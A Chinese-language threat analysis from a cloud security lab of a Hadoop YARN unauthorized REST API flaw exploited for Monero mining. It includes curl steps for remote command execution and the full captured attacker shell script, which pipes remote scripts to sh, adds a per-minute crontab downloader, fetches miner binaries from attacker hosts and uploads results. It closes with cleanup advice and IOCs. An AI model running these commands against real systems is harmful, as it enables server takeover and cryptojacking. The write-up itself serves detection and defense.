作者:Fooying@云鼎實驗室
公眾號:云鼎實驗室

一、背景

5月5日騰訊云安全團隊曾針對攻擊者利用Hadoop Yarn資源管理系統REST API未授權漏洞對服務器進行攻擊,攻擊者可以在未授權的情況下遠程執行代碼的安全問題進行預警,在預警的前后我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析并提供響應的安全建議和解決方案。

二、漏洞說明

Hadoop是一個由Apache基金會所開發的分布式系統基礎架構,YARN是hadoop系統上的資源統一管理平臺,其主要作用是實現集群資源的統一管理和調度,可以把MapReduce計算框架作為一個應用程序運行在YARN系統之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應用程序進行執行,其中就允許執行相關包含系統命令。

YARN提供有默認開放在8088和8090的REST API(默認前者)允許用戶直接通過API進行相關的應用創建、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那么任何黑客則就均可利用其進行遠程命令執行,從而進行挖礦等行為。

攻擊步驟:

1.申請新的application

直接通過curl進行POST請求

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回內容類似于:

{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}??

2.構造并提交任務

構造json文件1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下創建11112222_test_111122222文件,內容也為111:

{??
????"am-container-spec":{??
????????"commands":{??
????????????"command":"echo?'111'?>?/var/tmp/11112222_test_11112222"

????????}??
????},??
????"application-id":"application_1527144634877_20465",??
????"application-name":"test",??
????"application-type":"YARN"??
}??

然后直接

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻擊,命令被執行,在相應目錄下可以看到生成了對應文件

更多漏洞詳情可以參考 http://bbs.qcloud.com/thread-50090-1-1.html

三、入侵分析

在本次分析的案例中,受害機器部署有Hadoop YARN,并且存在未授權訪問的安全問題,黑客直接利用開放在8088的REST API提交執行命令,來實現在服務器內下載執行.sh腳本,從而再進一步下載啟動挖礦程序達到挖礦的目的。

整個利用過程相對比較簡單,通過捕捉Hadoop 的launch_container.sh執行腳本,我們可以看到其中一個案例中相關任務執行的命令:

1.#!/bin/bash??
2.??
3.export?LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417"??
4.export?APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417"??
5....這里省略部分內容??
6.export?CONTAINER_ID="container_1527144634877_20417_02_000001"??
7.export?MALLOC_ARENA_MAX="4"??
8.exec?/bin/bash?-c?"curl?185.222.210.59/x_wcr.sh?|?sh?&?disown"??
9.hadoop_shell_errorcode=$???
10.if?[?$hadoop_shell_errorcode?-ne?0?]??
11.then??
12.??exit?$hadoop_shell_errorcode??
13.fi??

可以很明顯的看到第8行位置,從185.222.210.59下載并執行了一個名為x_wcr.sh的腳本。

在實際過程中,我們從多個案例捕獲了多個比如名為cr.sh的不同腳本,但實際的功能代碼都差不多,我們對其中一個x_wcr.sh腳本進行分析,代碼自上而下內容:

1.pkill?-f?cryptonight??
2.pkill?-f?sustes??
3.pkill?-f?xmrig??
4.pkill?-f?xmr-stak??
5.pkill?-f?suppoie??
6.ps?ax?|?grep?"config.json?-t"?|?grep?-v?grep?|?awk?'{print?$1}'?|?xargs?kill?-9??
7.ps?ax?|?grep?'wc.conf\|wq.conf\|wm.conf\|wt.conf'?|?grep?-v?grep?|?grep?'ppl\|pscf\|ppc\|ppp'?|?awk?'{print?$1}'?|?xargs?kill?-9??
8.rm?-rf?/var/tmp/pscf*??
9.rm?-rf?/tmp/pscf*??

這部分代碼主要針對已存在的挖礦進程、文件進行清理。

1.DIR="/tmp"
2.if?[?-a?"/tmp/java"?]??
3.then??
4.????if?[?-w?"/tmp/java"?]?&&?[?!?-d?"/tmp/java"?]??
5.????then??
6.????????if?[?-x?"$(command?-v?md5sum)"?]??
7.????????then??
8.????????????sum=$(md5sum?/tmp/java?|?awk?'{?print?$1?}')??
9.????????????echo?$sum??
10.????????????case?$sum?in??
11.????????????????183664ceb9c4d7179d5345249f1ee0c4?|?b00f4bbd82d2f5ec7c8152625684f853)??
12.????????????????????echo?"Java?OK"??
13.????????????????;;??
14.????????????????*)??
15.????????????????????echo?"Java?wrong"??
16.????????????????????pkill?-f?w.conf??
17.????????????????????sleep?4??
18.????????????????;;??
19.????????????esac??
20.????????fi??
21.????????echo?"P?OK"??
22.????else??
23.????????DIR=$(mktemp?-d)/tmp??
24.????????mkdir?$DIR??
25.????????echo?"T?DIR?$DIR"??
26.????fi??
27.else??
28.????if?[?-d?"/var/tmp"?]??
29.????then??
30.????????DIR="/var/tmp"??
31.????fi??
32.????echo?"P?NOT?EXISTS"??
33.fi??

這部分的代碼主要是判斷如果/tmp/java是一個存在并且可寫的文件,那么就判斷其MD5值是否匹配,MD5不匹配則根據w.conf關鍵詞查找并kill進程;如果非可寫的文件,則重新賦值DIR變量,這個變量主要用于后面部分代碼中下載挖礦等程序存放目錄。

1.if?[?-d?"/tmp/java"?]??
2.then??
3.????DIR=$(mktemp?-d)/tmp??
4.????mkdir?$DIR??
5.????echo?"T?DIR?$DIR"??
6.fi??
7.WGET="wget?-O"??
8.if?[?-s?/usr/bin/curl?];??
9.then??
10.????WGET="curl?-o";??
11.fi??
12.if?[?-s?/usr/bin/wget?];??
13.then??
14.????WGET="wget?-O";??
15.fi??
16.f2="185.222.210.59"??

然后接著是一些變量的賦值,包括再次判斷如果/tmp/java是一個目錄,則重新賦值DIR變量;判斷curl和wget命令是否存在,存在則賦值到WGET變量;f2則是賦值為某個IP,實則為是后續下載相關文件的服務器之一。

1.if?[?!?"$(ps?-fe|grep?'/tmp/java'|grep?'w.conf'|grep?-v?grep)"?];??
2.then??
3.????downloadIfNeed??
4.????chmod?+x?$DIR/java??
5.????$WGET?$DIR/w.conf?http://$f2/w.conf??
6.????nohup?$DIR/java?-c?$DIR/w.conf?>?/dev/null?2>&1?&??
7.????sleep?5??
8.????rm?-rf?$DIR/w.conf??
9.else??
10.????echo?"Running"??
11.fi??
12.if?crontab?-l?|?grep?-q?"185.222.210.59"??
13.then??
14.????echo?"Cron?exists"??
15.else??
16.????echo?"Cron?not?found"??
17.????LDR="wget?-q?-O?-"??
18.????if?[?-s?/usr/bin/curl?];??
19.????then??
20.????????LDR="curl";??
21.????fi??
22.????if?[?-s?/usr/bin/wget?];??
23.????then??
24.????????LDR="wget?-q?-O?-";??
25.????fi??
26.????(crontab?-l?2>/dev/null;?echo?"*?*?*?*?*?$LDR?http://185.222.210.59/cr.sh?|?sh?>?/dev/null?2>&1")|?crontab?-??
27.fi??

這部分代碼是其中比較核心的代碼,通過downloadIfNeed方法下載挖礦程序到$DIR目錄下并重命名為java,下載w.conf配置文件,給挖礦程序增加執行權限,然后以nohup命令后臺運行挖礦程序并刪除配置文件;接著檢查crontab中的任務,如果不存在對應的任務,就將下載執行腳本的任務"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,這里$LDR為wget -q -O -或者curl,任務每分鐘執行一次。

腳本中還包含了幾個嵌套調用的download方法,入口方法是downloadIfNeed:

1.downloadIfNeed()??
2.{??
3.????if?[?-x?"$(command?-v?md5sum)"?]??
4.????then??
5.????????if?[?!?-f?$DIR/java?];?then??
6.????????????echo?"File?not?found!"??
7.????????????download??
8.????????fi??
9.????????sum=$(md5sum?$DIR/java?|?awk?'{?print?$1?}')??
10.????????echo?$sum??
11.????????case?$sum?in??
12.????????????183664ceb9c4d7179d5345249f1ee0c4?|?b00f4bbd82d2f5ec7c8152625684f853)??
13.????????????????echo?"Java?OK"??
14.????????????;;??
15.????????????*)??
16.????????????????echo?"Java?wrong"??
17.????????????????sizeBefore=$(du?$DIR/java)??
18.????????????????if?[?-s?/usr/bin/curl?];??
19.????????????????then??
20.????????????????????WGET="curl?-k?-o?";??
21.????????????????fi??
22.????????????????if?[?-s?/usr/bin/wget?];??
23.????????????????then??
24.????????????????????WGET="wget?--no-check-certificate?-O?";??
25.????????????????fi??
26.????????????????echo?""?>?$DIR/tmp.txt??
27.????????????????rm?-rf?$DIR/java??
28.????????????????download??
29.??
30.????????????????if?[?-x?"$(command?-v?md5sum)"?]??
31.????????????????then??
32.????????????????????sum=$(md5sum?$DIR/java?|?awk?'{?print?$1?}')??
33.????????????????????echo?$sum??
34.????????????????????case?$sum?in??
35.????????????????????????183664ceb9c4d7179d5345249f1ee0c4?|?b00f4bbd82d2f5ec7c8152625684f853)??
36.????????????????????????????echo?"Java?OK"??
37.????????????????????????????cp?$DIR/java?$DIR/ppc??
38.????????????????????????;;??
39.????????????????????????*)??
40.????????????????????????????$WGET?$DIR/java?https://transfer.sh/WoGXx/zzz?>?$DIR/tmp.txt?2>&1??
41.????????????????????????????echo?"Java?wrong"??
42.????????????????????????????sum=$(md5sum?$DIR/java?|?awk?'{?print?$1?}')??
43.????????????????????????????case?$sum?in??
44.????????????????????????????????183664ceb9c4d7179d5345249f1ee0c4?|?b00f4bbd82d2f5ec7c8152625684f853)??
45.????????????????????????????????????echo?"Java?OK"??
46.????????????????????????????????????cp?$DIR/java?$DIR/ppc??
47.????????????????????????????????;;??
48.????????????????????????????????*)??
49.????????????????????????????????????echo?"Java?wrong2"??
50.????????????????????????????????;;??
51.????????????????????????????esac??
52.????????????????????????;;??
53.????????????????????esac??
54.????????????????else??
55.????????????????????echo?"No?md5sum"??
56.????????????????fi??
57.??
58.????????????????sumAfter=$(md5sum?$DIR/java?|?awk?'{?print?$1?}')??
59.????????????????if?[?-s?/usr/bin/curl?];??
60.????????????????then??
61.????????????????????echo?"redownloaded?$sum?$sizeBefore?after?$sumAfter?"?`du?$DIR/java`?>>?$DIR/tmp.txt??
62.????????????????????curl?-F?"file=@$DIR/tmp.txt"?http://$f2/re.php??
63.????????????????fi??
64.????????????;;??
65.????????esac??
66.????else??
67.????????echo?"No?md5sum"??
68.????????download??
69.????fi??
70.}??

這個方法的核心功能還是校驗已存在的挖礦程序的MD5,如果無法驗證或者文件不存在的情況,則直接調用download方法下載挖礦程序;如果文件存在但MD5匹配不正確,則調用download方法后再次驗證,驗證失敗則嘗試從另外一個下載渠道https://transfer.sh/WoGXx/zzz下載挖礦程序并再次驗證。最后還將相關結果上報到目標服務器$f2的re.php.

tmp.txt內容示例:

1.download()?{??
2.????if?[?-x?"$(command?-v?md5sum)"?]??
3.????then??
4.????????sum=$(md5sum?$DIR/ppc?|?awk?'{?print?$1?}')??
5.????????echo?$sum??
6.????????case?$sum?in??
7.????????????183664ceb9c4d7179d5345249f1ee0c4?|?b00f4bbd82d2f5ec7c8152625684f853)??
8.????????????????echo?"Java?OK"??
9.????????????????cp?$DIR/ppc?$DIR/java??
10.????????????;;??
11.????????????*)??
12.????????????????echo?"Java?wrong"??
13.????????????????download2??
14.????????????;;??
15.????????esac??
16.????else??
17.????????echo?"No?md5sum"??
18.????????download2??
19.????fi??
20.}??

download方法判斷ppc文件的存在與否和 MD5是否匹配,如果不存在或MD5不匹配則調用download2下載,如果存在則復制重名為java。

1.download2()?{??
2.????f1=$(curl?185.222.210.59/g.php)??
3.????if?[?-z?"$f1"?];??
4.????then??
5.????????f1=$(wget?-q?-O?-?185.222.210.59/g.php)??
6.????fi??
7.??
8.????if?[?`getconf?LONG_BIT`?=?"64"?]??
9.????then??
10.????????$WGET?$DIR/java?http://$f1/xm64?$RANDOM??
11.????else??
12.????????$WGET?$DIR/java?http://$f1/xm32?$RANDOM??
13.????fi??
14.??
15.????if?[?-x?"$(command?-v?md5sum)"?]??
16.????then??
17.????????sum=$(md5sum?$DIR/java?|?awk?'{?print?$1?}')??
18.????????echo?$sum??
19.????????case?$sum?in??
20.????????????183664ceb9c4d7179d5345249f1ee0c4?|?b00f4bbd82d2f5ec7c8152625684f853)??
21.????????????????echo?"Java?OK"??
22.????????????????cp?$DIR/java?$DIR/ppc??
23.????????????;;??
24.????????????*)??
25.????????????????echo?"Java?wrong"??
26.????????????;;??
27.????????esac??
28.????else??
29.????????echo?"No?md5sum"??
30.????fi??
31.}??

download2方法則判斷系統下載對應版本的挖礦程序,其中http://185.222.210.59/g.php返回的是另外一個IP地址;下載成功后則再次驗證,并復制重命名為ppc。

1.pkill?-f?logo4.jpg??
2.pkill?-f?logo0.jpg??
3.pkill?-f?logo9.jpg??
4.pkill?-f?jvs??
5.pkill?-f?javs??
6.pkill?-f?192.99.142.248??
7.rm?-rf?/tmp/pscd*??
8.rm?-rf?/var/tmp/pscd*??
9.crontab?-l?|?sed?'/192.99.142.232/d'?|?crontab?-??
10.crontab?-l?|?sed?'/192.99.142.226/d'?|?crontab?-??
11.crontab?-l?|?sed?'/192.99.142.248/d'?|?crontab?-??
12.crontab?-l?|?sed?'/logo4/d'?|?crontab?-??
13.crontab?-l?|?sed?'/logo9/d'?|?crontab?-??
14.crontab?-l?|?sed?'/logo0/d'?|?crontab?-??

在腳本的最后部分還有一些進程、文件、crontab清理的處理,用pkill刪除滿足條件的進程,刪除tmp目錄下pscd開頭的文件,以及說刪除crontab中存在某些關鍵詞的任務。

至此,我們完成整個腳本的分析,雖然整個腳本比較冗長,而且似乎各個函數嵌套調用,涉及文件也眾多,但其實整體就做了以下幾件事:

  1. 清理相關的進程、文件和crontab任務
  2. 判斷并下載挖礦程序,同時校驗MD5值,除了黑客自己控制的服務器,還利用https://transfer.sh提供備用下載,多種方式保障
  3. 增加腳本下載執行任務添加到crontab里

其實,我們通過查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log也可能看到相應的痕跡:

或者我們通過管理UI查看application詳情:

而crontab的任務日志也能看到相關的執行記錄:

最終在/var/tmp目錄下也能找到相關的文件

四、安全建議

清理病毒
  1. 使用top查看進程,kill掉異常進程
  2. 檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常文件
  3. 檢查crontab任務列表,刪除異常任務
  4. 排查YARN日志,確認異常的application,刪除處理
安全加固
  1. 通過iptables或者安全組配置訪問策略,限制對8088等端口的訪問
  2. 如無必要,不要將接口開放在公網,改為本地或者內網調用
  3. 升級Hadoop到2.x版本以上,并啟用Kerberos認證功能,禁止匿名訪問
  4. 云鏡當前已支持該漏洞檢測,同時也支持挖礦木馬的發現,建議安裝云鏡并開通專業版,及時發現漏洞并修復或者在中馬后能及時收到提醒進行止損
  5. 更多自檢和修復建議可以參考 http://bbs.qcloud.com/thread-50090-1-1.html

五、IOCs

錢包地址

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5
  1. c8c1f2da51fbd0aea60e11a81236c9dc
  2. 183664ceb9c4d7179d5345249f1ee0c4
  3. b00f4bbd82d2f5ec7c8152625684f853
礦池地址
  1. 158.69.133.20:3333
  2. 192.99.142.249:3333
  3. 202.144.193.110:3333
  4. 46.30.43.159:80
部分相關URL
  1. http://185.222.210.59/x_wcr.sh
  2. http://185.222.210.59/re.php
  3. http://185.222.210.59/g.php
  4. http://185.222.210.59/w.conf
  5. http://185.222.210.59/cr.sh
  6. http://192.99.142.226:8220/w.conf
  7. http://192.99.142.226:8220/xm64
  8. http://192.99.142.226:8220/cr.sh
  9. http://95.142.40.83/xm64
  10. http://95.142.40.83/xm32
  11. https://transfer.sh/1o3Kj/zzz
  12. https://transfer.sh/wbl5H/pscf
  13. https://transfer.sh/WoGXx/zzz

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/611/